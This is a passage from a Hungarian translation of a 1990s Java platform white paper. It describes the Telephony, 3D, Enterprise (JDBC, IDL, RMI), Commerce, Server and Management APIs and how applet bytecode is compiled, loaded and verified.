kommunikációhoz objektumok között többféle hálózaton és átviteli protokollon. Az API-val végezhetõ a szinkronizálás és szekció menedzselése, és lehetõvé válik mind az együttmûködésrõl „tudó” (collaboration-aware), mind az együttmûködésrõl nem „tudó” (collaboration-unaware) appletek közös használata. • Java Telephony API – A számítógépet és a telefóniát egységesíti. Telefonhívások vezérléséhez szolgáltat alapvetõ funkciókat: híváskezdeményezés vezérlése (egyszerû asztali telefon), harmadik fél hívásának vezérlése (telefonhívás-elosztó központ), távkonferencia, hívásátirányítás, hívó azonosítása és DTMF kódolás/dekódolás. • Java 3D API – Nagy teljesítményû, interaktív 3D grafikát szolgáltat. Kezeli a VRML-t, és magas szintû specifikációt tartalmaz 3D objektumok viselkedéséhez (behavior) és vezérléséhez. Egyszerûsíti 3D alkalmazások programozását, és lehetõvé teszi
a megjelenítést szolgáló alacsonyabb szintû felületek elérését. A 3D API szorosan integrált hang-, video-, MIDI és animációs területekkel. Java Enterprise API Az Enterprise osztályok a Javával mûködõ alkalmazásokat kötik össze a vállalat információs erõforrásaival. Jelenleg a kapcsolatoknak három csoportja létezik: JDBC (Java Database Connectivity – Java adatbázis-kapcsolatok), Interface Definition Language (felületdefiniáló nyelv) és Remote Method Invocation (távoli eljáráshívás). • A JDBC szabványos SQL adatbázis-elérési felület. A Java programozóknak egységes felületet szolgáltat relációs adatbázisok széles köréhez, valamint közös alapot teremt, amelyen magasabb szintû eszközök és felületek hozhatók létre. A partnerek, Intersolv, Visigenic és egy tucat más cég, a közeli hónapokban JDBC meghajtókat fognak szállítani több DBMS-hez, köztük az Oraclehoz, Sybase-hez és az Informixhoz. Ezek az adatbázisokkal
foglalkozó vállalatok és vezetõ eszközszállítók, pl. a Symantec és Borland, már jóváhagyták a JDBC API-t, és termékeket fejlesztenek a JDBC használatával. A JDBC API osztályokat definiál szerkezetek reprezentálásához, mint például adatbáziskapcsolatok, SQL utasítások, eredményhalmazok és adatbázis-metaadatok. A JDBC lehetõvé teszi, hogy Javával mûködõ program SQL utasításokat adjon ki, és feldolgozza az eredményeket. A JDBC-vel összefüggésben a JavaSoft kihoz egy JDBC-ODBC hídmegvalósítást, amelylyel több tucat meglévõ Microsoft ODBC adatbázis-meghajtó JDBC meghajtóként mûködhet. A JDBC-ODBC híd a szerveren futhat a kliensoldal helyett a JDBC meghajtó használatával, amely elvégzi a fordítást DBMS-független hálózati protokollra. file:///E|/docs/Untitled/tech.htm (14 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu • Az Interface Definition Language (IDL) nyelvsemleges eszköz ahhoz, hogy felületet
lehessen specifikálni egy objektum és a kliense között, amikor azok különbözõ platformokon vannak. Az IDL komponens szolgáltatja az eljárások, programcsomagok és egyéb eszközök kapcsolatait az IDL mûveletekhez és eszközökhöz. • A Remote Method Invocation (RMI) lehetõvé teszi, hogy a programozók Java objektumokat hozzanak létre, amelyeknek az eljárásait másik virtuális géprõl lehet hívni. Az RMI hasonló az objektumot nem használó környezetben alkalmazott távoli eljáráshíváshoz (remote procedure call – RPC). Költöztetés Marad Java Base API-ba Java Standard Extensionben Java 2D Audio Java Media Framework Java Animation Java Enterprise Java Commerce Java Security Java 3D Video, MIDI Java Share Java Telephony Java Server Java Management 3. ábra Java Commerce API Biztonságos vásárlást és pénzügyi kezelést valósít meg a weben. Az áruk és szolgáltatások kis- és nagykereskedelme 1994-ben világméretekben 4,6 billió
dollárt tett ki, aminek 13%-át távolról bonyolították le katalógusokon, televízión, különbözõ nyilvános és magán kommunikációs hálózatokon keresztül. Amint ez a távkereskedelem az internetre helyezõdik át, egyre fontosabbá válik egy olyan szabványos keret létrehozása, amelyen belül ezeket a tranzakciókat el lehet végezni. Ennek külön nyomatékot ad az a tény, hogy a résztvevõk gyorsan növekvõ számban versengenek a pozíciókért, hogy olyan eszközöket szolgáltassanak, mint az elektronikus fizetõeszköz, online bevásárlóutcák, aláírás digitális ellenõrzése és pénzügyi elemzés. file:///E|/docs/Untitled/tech.htm (15 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu A Java Commerce API indító komponense a Java Wallet, ami kliensoldali keretet definiál és valósít meg hálózatra alapozott kereskedelem lebonyolításához. Úgy képzeljük el, mint egy üres pénztárcát, amelyben hitelkártyákat és
készpénzt lehet tartani. Van benne egy üres ID (azonosító) kártya is, amit a személyi adatokkal kell kitölteni. A Java Wallet a következõket szolgáltatja: • Személyi adatok tárolása – a vásárlóról (név, cím, ahová a számlát kell küldeni, cím, ahová az árut kell küldeni); – a fizetõeszközökrõl (hitelkártya, terhelendõ számla, elektronikus készpénz); – a vásárlási tranzakciók részleteirõl (dátum és idõ, tétel leírása, mennyiség, pénzösszeg). • Elõjeles appletek két új típusának kezelése: – Fizetõ kazetták, amelyek valamilyen fizetési protokollt valósítanak meg, mint például a Secure Electronic Transaction (SET – biztonságos elektronikus tranzakció), amelyet a Visa és MasterCard elfogadott. – Szolgáltatási kazetták, amelyek áfás szolgáltatásokat valósítanak meg, mint például költségvetés és pénzügyi elemzés. • Bõvíthetõség új fizetõ és szolgáltatási kazetták dinamikus
telepítéséhez a hálózatról történõ letöltés útján. • Erõs titkosírás-szolgáltatások, amelyek lehetõvé teszik a fent ismertetett eszközök biztonságos környezetben történõ megvalósítását. Java Server API A Java Server bõvíthetõ keret, amely lehetõvé teszi és megkönnyíti Javával mûködõ internet- és intranetszerverek egész spektrumának fejlesztését. A keret-API szerveroldali osztálykönyvtárakat tartalmaz a szerver adminisztrációjához, a hozzáférés vezérléséhez és a szerver erõforrásainak dinamikus kezeléséhez, és magában foglalja a Servlet API-t is. A servletek platformfüggetlen, Javával mûködõ objektumok, az appletek szerveroldali párjai. Lehetnek a szerveren, vagy a hálózatról letölthetõk arra biztonsági korlátozások mellett. Servletekre a példák az file:///E|/docs/Untitled/tech.htm (16 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu egyszerû HTTP servletektõl (cgi-scriptek
hatékony helyettesítõje) egészen a JDBC/ODBC-t használó bonyolultabb servletekig terjednek, amelyek adatbázis-kapcsolatokat szolgáltatnak. Java Management API Olyan Java osztályok gyûjteménye, amelyek az építõelemekrõl gondoskodnak az átfogó menedzseléshez, oly módon, hogy számos felületet, osztályt, appletet és útmutatást szolgáltatnak, amelyek elõsegítik átfogó menedzselési megoldások fejlesztését. A Java Management API több különálló komponensbõl tevõdik össze, mindegyik a teljes menedzselési kör egy vonatkozásával kapcsolatos. A használatával definiált objektumok együttesen átfogják az osztott hálózatot, a rendszert és a szolgáltatás-kezelõ komponenseket. A Java Management API-k komponensei a következõk: • Admin View Module – A Java Abstract Window Toolkit (AWT) kiterjesztése, amelyet speciálisan integrált menedzselési megoldások létrehozásához terveztek. Az Admin View Module osztályait használják olyan
felhasználói modell megvalósításához, amely a webböngészõ hipertext jellegû navigálására épül. • Base Object Interfaces – Olyan objektumok építését szolgálják, amik osztott erõforrásokat és szolgáltatásokat reprezentálnak, amelyekbõl a vállalat számítástechnikai környezete felépül. Ezek a felületek lehetõvé teszik, hogy a fejlesztõk olyan absztrakciókat definiáljanak, amelyek osztott attribútumokat, eljárásokat és perzisztens attribútumokat tartalmaznak. • Managed Notification Interfaces – Ezek szolgáltatják azt az alapot, amelyrõl összetettebb eseménykezelõ szolgáltatásokat lehet könnyen felépíteni. A modell aszinkron jelzést ad a menedzselt objektumok vagy a menedzselési alkalmazások közötti eseményekrõl, felületeket szolgáltatva az alapvetõ eseményszervezõ szolgáltatáshoz. • Managed Container Interfaces – Lehetõvé teszik menedzselt objektumok összefogását csoportokba, így a menedzselési
alkalmazások egy csoportban hajthatják végre a tevékenységüket, ahelyett, hogy ezt minden alkalommal külön végeznék. Ez lehetõvé teszi a menedzselési alkalmazások skálázását magasabb értékekre, ami megengedi, hogy több eseményt egyben lehessen kezelni. A gyûjtõ két típusú lehet: kiterjesztõ (extensional), amelyet programeszközökkel szerkesztenek egyszerû felvétel- és eltávolítás-eljárásokkal, és célzatos (intentional), amely csak azokat a végrehajtandó lekérdezéseket (query) tárolja – a Managed Data Interfaces használatával –, amelyek a kéréseket generálják a gyûjtõ számára. file:///E|/docs/Untitled/tech.htm (17 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu • Managed Data Interfaces – A Base Object Interfaces kiterjesztéseinek hozzárendelõ (mapping) attribútumait kezelik, amelyek a kapcsolatokat határozzák meg a relációs adatbázissal. Ezeket a felületeket a JDBC (Java Database Connectivity)
megfelelõ részhalmazán valósítják meg. A felületek számos, a kereskedelemben kapható relációs adatbázis-gépet (engine) tudnak kezelni. • Managed Protocol Interfaces – A Base Object Interfaces kiterjesztéseinek elosztási és biztonsági képességeit valósítják meg. Ezek a felületek építik fel a Java Security API-kat és a Java Remote Method Invocationt (RMI). • SNMP Interfaces – A Managed Protocol Interfaces-t terjesztik ki, lehetõvé téve, hogy a Base Objects kiterjesztései tartalmazzák a létezõ SNMP agentektõl kapott információt. A Managed Protocol Interfaces kiterjesztésével az SNMP információ a Java Management API minden felhasználója számára rendelkezésre áll. A „Java Management API User Interface Style Guide” (Kézikönyv a Java Management API felhasználói felületek típusaihoz) útmutatásokat tartalmaz felületek fejlesztéséhez, amelyeken a számítástechnikai infrastruktúrát felépítõ rendszer-, hálózati és
szolgáltatási elemeket lehet konfigurálni, és hibaelhárítást végezni. A Java fordítási és futási környezete A Java nyelv fejlesztési környezete tartalmazza mind a fordítási, mind a futási környezetet, mint a 4. ábrán látható. A Java Platformot a futási környezet reprezentálja A fejlesztõ Java nyelvû forrásprogramot (.java fájlok) ír, és lefordítja bájtkódokra (class fájlok) A bájtkódok az utasítások a Java virtuális gép számára. Applet létrehozásához a fejlesztõ ezután egy HTTP szerveren tárolja a bájtkód-fájlokat, és felvesz egy <applet program=fájlnév> címkét a weboldalon, ami megnevezi a belépési pont bájtkód-fájlját. Ha a végfelhasználó erre az oldalra lép, az <applet> címke elindítja a bájtkód-fájlok átvitelét a hálózaton keresztül a szervertõl a végfelhasználó Java Platformon lévõ böngészõjére. Az összeköttetésnek ezen a végén a rendszer a memóriába tölti a bájtkódokat,
majd elvégzi a biztonsági ellenõrzésüket, mielõtt belépnének a virtuális gépbe. Amikor már a virtuális gépben vannak, az értelmezõ program (Interpreter) értelmezi a bájtkódokat, vagy opcionálisan a just-in-time (JIT) kódgenerátor (szokásosabban JIT Compilernek nevezik) gépi kóddá alakítja õket. Az értelmezõprogram és a JIT fordítóprogram együtt dolgozik a futás alatt mûködõ rendszerrel (szálak, tároló, egyéb rendszererõforrások). Az applet a szükségnek megfelelõen file:///E|/docs/Untitled/tech.htm (18 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu dinamikusan tölti be az osztályokat a Java osztálykönyvtárakból (API). Douglas Kramer doug.kramer@suncom file:///E|/docs/Untitled/tech.htm (19 of 19)20040118 3:01:08